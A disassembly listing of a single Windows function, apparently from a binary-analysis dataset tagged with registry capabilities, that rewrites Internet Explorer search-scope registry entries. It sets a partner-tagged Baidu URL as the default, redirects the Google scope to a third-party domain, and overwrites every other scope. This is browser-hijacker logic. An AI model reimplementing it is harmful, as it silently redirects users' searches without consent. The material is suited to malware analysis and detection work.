Function at 0x40bd10
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x413729
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x124
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov esi, ecx
mov dword [esp + 0x1c], ebp
lea ecx, [esp + 0x14]
mov dword [esp + 0x13c], ebp
mov dword [esp + 0x20], 0x100
call sub.MFC42.DLL_CString::CString_4
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x10]
push eax
push 0xf003f
push ebp
mov ebx, 1
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes
push 0x80000001
mov byte [esp + 0x150], bl
mov dword [esp + 0x24], ebp
call edi
cmp eax, ebp
jne 0x40be13
mov ebp, dword [esp + 0x10]
push 0x100
lea ecx, [esp + 0x18]
mov dword [esp + 0x20], ebp
call sub.MFC42.DLL_CString::GetBuffer
lea ecx, [esp + 0x20]
lea edx, [esp + 0x10]
push ecx
push eax
push edx
push 0
push str.DefaultScope
push ebp
mov dword [esp + 0x28], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
mov dword [esp + 0x14], eax
call sub.MFC42.DLL_CString::ReleaseBuffer
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x40bdf0
mov eax, dword [esp + 0x14]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x40bdf0
push 0x41a6e8
push eax
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 8
test eax, eax
jne 0x40bdfe
push str.317AA3CE_DFF9_454F_8131_FFC2569113CE
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::operator
test ebp, ebp
je 0x40be21
push ebp
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x1c], 0
jmp 0x40be21
push str.317AA3CE_DFF9_454F_8131_FFC2569113CE
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::operator
mov eax, dword [esp + 0x14]
mov ecx, esi
push eax
push str.DefaultScope
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes
push 0x80000001
call fcn.0040fd00
lea ecx, [esp + 0x14]
lea edx, [esp + 0x10]
push ecx
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes_
push edx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push 0x41944c
push str.DisplayName
push eax
push 0x80000001
mov ecx, esi
mov byte [esp + 0x14c], 2
call fcn.0040fd00
lea ecx, [esp + 0x10]
mov byte [esp + 0x13c], bl
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
push eax
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes_
push ecx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push str.http:__www.baidu.com_s_tnleizhen_dgieutf_8wdsearchTerms
push 0x4188a4
push eax
push 0x80000001
mov ecx, esi
mov byte [esp + 0x14c], 3
call fcn.0040fd00
lea ecx, [esp + 0x10]
mov byte [esp + 0x13c], bl
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes_
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push str.http:__suggestion.baidu.com_su_wdsearchTermsactionopensearchieutf_8fromie8
push str.SuggestionsURL_JSON
push eax
push 0x80000001
mov ecx, esi
mov byte [esp + 0x14c], 4
call fcn.0040fd00
lea ecx, [esp + 0x10]
mov byte [esp + 0x13c], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
lea edx, [esp + 0x10]
push ecx
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes_
push edx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push str.http:__www.ieaddons.com_cn_DownloadHandler.ashx_ResourceId857
push str.OSDFileURL
push eax
push 0x80000001
mov ecx, esi
mov byte [esp + 0x14c], 5
call fcn.0040fd00
lea ecx, [esp + 0x10]
mov byte [esp + 0x13c], bl
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x14]
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes_
push ecx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push str.http:__www.baidu.com_favicon.ico
push str.FaviconURL
push eax
push 0x80000001
mov ecx, esi
mov byte [esp + 0x14c], 6
call fcn.0040fd00
lea ecx, [esp + 0x10]
mov byte [esp + 0x13c], bl
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes_
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push 0xfde9
push str.Codepage
push eax
push 0x80000001
mov ecx, esi
mov byte [esp + 0x14c], 7
call fcn.0040fc70
lea ecx, [esp + 0x10]
mov byte [esp + 0x13c], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
lea edx, [esp + 0x10]
push ecx
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes_
push edx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push ebx
push str.ShowSearchSuggestions
push eax
push 0x80000001
mov ecx, esi
mov byte [esp + 0x14c], 8
call fcn.0040fc70
lea ecx, [esp + 0x10]
mov byte [esp + 0x13c], bl
call sub.MFC42.DLL_CString::CString
push str.Google
push str.DisplayName
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes15D07AF4_8087_4E49_8264_385D31818880
push 0x80000001
mov ecx, esi
call fcn.0040fd00
push str.http:__www.google.cn_favicon.ico
push str.FaviconURL
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes15D07AF4_8087_4E49_8264_385D31818880
push 0x80000001
mov ecx, esi
call fcn.0040fd00
push str.http:__www.gggdu.com_google_qsearchTerms
push 0x4188a4
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes15D07AF4_8087_4E49_8264_385D31818880
push 0x80000001
mov ecx, esi
call fcn.0040fd00
push str.http:__www.ieaddons.com_cn_DownloadHandler.ashx_ResourceId851
push str.OSDFileURL
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes15D07AF4_8087_4E49_8264_385D31818880
push 0x80000001
mov ecx, esi
call fcn.0040fd00
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_4
mov byte [esp + 0x13c], 9
lea eax, [esp + 0x24]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes
push 0x80000001
call edi
test eax, eax
jne 0x40c1a3
xor ebp, ebp
xor edi, edi
test edi, edi
je 0x40c0cc
cmp edi, 0xea
jne 0x40c1a3
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x28]
push 0
push 0
push 0
lea eax, [esp + 0x44]
push edx
push eax
push ebp
push ecx
mov dword [esp + 0x40], 0x100
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea edx, [esp + 0x34]
mov edi, eax
push edx
lea eax, [esp + 0x1c]
push 0x41879c
push eax
call sub.MFC42.DLL_CString::Format
mov ecx, dword [esp + 0x20]
add esp, 0xc
push ecx
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::Find_1
cmp eax, 0xffffffff
jne 0x40c19d
push str.15D07AF4_8087_4E49_8264_385D31818880
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::Find_1
cmp eax, 0xffffffff
jne 0x40c19d
push 0xf003f
push ecx
lea eax, [esp + 0x20]
mov edx, esp
mov dword [esp + 0x30], esp
push eax
push str.CURRENT_USERSoftwareMicrosoftInternet_ExplorerSearchScopes_
push edx
call sub.MFC42.DLL_operator_2
mov ecx, esi
call fcn.00408ac0
lea ecx, [esp + 0x18]
lea edx, [esp + 0x10]
push ecx
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes_
push edx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push str.http:__www.baidu.com_s_tnleizhen_dgieutf_8wdsearchTerms
push 0x4188a4
push eax
push 0x80000001
mov ecx, esi
mov byte [esp + 0x14c], 0xa
call fcn.0040fd00
lea ecx, [esp + 0x10]
mov byte [esp + 0x13c], 9
call sub.MFC42.DLL_CString::CString
inc ebp
jmp 0x40c0bc
mov eax, dword [esp + 0x24]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x18]
mov byte [esp + 0x13c], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x13c], 0
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x40c1dc
push eax
call esi
mov ecx, dword [esp + 0x134]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x130
ret